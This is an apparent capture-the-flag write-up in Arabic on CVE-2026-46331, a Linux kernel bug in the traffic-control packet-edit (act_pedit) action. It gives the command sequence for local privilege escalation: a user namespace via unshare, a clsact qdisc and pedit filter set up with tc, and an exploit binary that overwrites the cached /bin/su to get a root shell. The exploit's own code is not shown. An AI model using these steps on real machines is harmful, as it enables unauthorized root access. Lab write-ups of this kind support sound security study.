
شرح وخطوات استغلال ثغرة pedit COW (CVE-2026-46331)
كتابة تفصيلية وخطوات استغلال لثغرة pedit COW (CVE-2026-46331).
يتناول هذا التحدي ثغرة pedit COW، وهي خلل في نواة لينكس ضمن إجراء تحرير الحزم (act_pedit) في النظام الفرعي للتحكم في حركة المرور. تسمح هذه الثغرة لمستخدم غير مميَّز باستبدال نسخة في الذاكرة من ملف ثنائي setuid-root، مما يمنحه فعليًا root shell دون لمس الملف على القرص أبدًا.
تبدأ البيئة بمستخدم غير مميَّز (karen).
id
cd ~/packet_edit_meme
make packet_edit_meme
تتطلب تهيئة التحكم في حركة المرور عادةً صلاحيات CAP_NET_ADMIN، وهي غير متوفرة للمستخدم العادي. استخدمت مساحات أسماء المستخدمين غير المميَّزة (unprivileged user namespaces) للحصول على هذه الصلاحية.
unshare -r -n
داخل مساحة الاسم، قمت بتهيئة clsact qdisc وطبّقت فلترًا لتفعيل إجراء pedit.
tc qdisc del dev lo clsact
tc qdisc add dev lo clsact
tc filter add dev lo egress matchall action pedit ex munge ip ttl set 64
بعد إعداد البيئة، خرجت من root shell ونفّذت الاستغلال كمستخدم غير مميَّز.
exit
./packet_edit_meme
نجح الاستغلال في استبدال إدخال /bin/su، مما وفّر root shell تفاعلية.
# cat /root/flag.txt
THM{YOUR_FLAG_HERE}